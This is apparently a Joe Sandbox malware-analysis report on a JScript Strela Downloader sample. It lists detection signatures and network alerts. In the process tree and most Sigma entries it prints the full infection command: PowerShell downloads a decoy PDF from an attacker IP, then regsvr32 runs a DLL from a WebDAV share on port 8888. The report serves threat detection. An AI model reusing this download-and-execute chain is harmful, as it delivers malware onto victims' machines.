Edit tour

Windows Analysis Report
283532861321088537.js

Overview

General Information

Sample name:	283532861321088537.js
Analysis ID:	1587670
MD5:	9252a519d608bd1b707ad4bcaf66bc14
SHA1:	2e738f5d606a3d0d66fc2e0a1227f3f6b01db930
SHA256:	0942ef70c29d79339951a9ca72454adc1e43baa20188d717f24c34861429a077
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 8012 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\283532861321088537.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 8104 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8156 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7628 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6176 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6016 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2288 --field-trial-handle=1528,i,8002698402134239555,5701417952929339914,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7672 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7728 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5828 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 8012	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8104, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8156, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8104, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8156, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\283532861321088537.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\283532861321088537.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\283532861321088537.js", ProcessId: 8012, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7728, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49783

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\283532861321088537.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8012, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, ProcessId: 8104, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\283532861321088537.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8012, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, ProcessId: 8104, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\283532861321088537.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8012, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, ProcessId: 8104, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\283532861321088537.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8012, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, ProcessId: 8104, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\283532861321088537.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8012, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, ProcessId: 8104, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\283532861321088537.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\283532861321088537.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\283532861321088537.js", ProcessId: 8012, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8104, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8156, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7672, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7728, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5828, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7672, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7728, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\283532861321088537.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8012, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, ProcessId: 8104, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T16:39:40.784267+0100	1810005	1	Potentially Bad Traffic	192.168.2.10	49783	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T16:39:37.670385+0100	1810000	2	Potentially Bad Traffic	192.168.2.10	49762	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 283532861321088537.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 283532861321088537.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.10:49783 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 15:39:37 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49783

Source: global traffic

TCP traffic: 192.168.2.10:49783 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.10:49762 -> 193.143.1.205:80

Source: global traffic

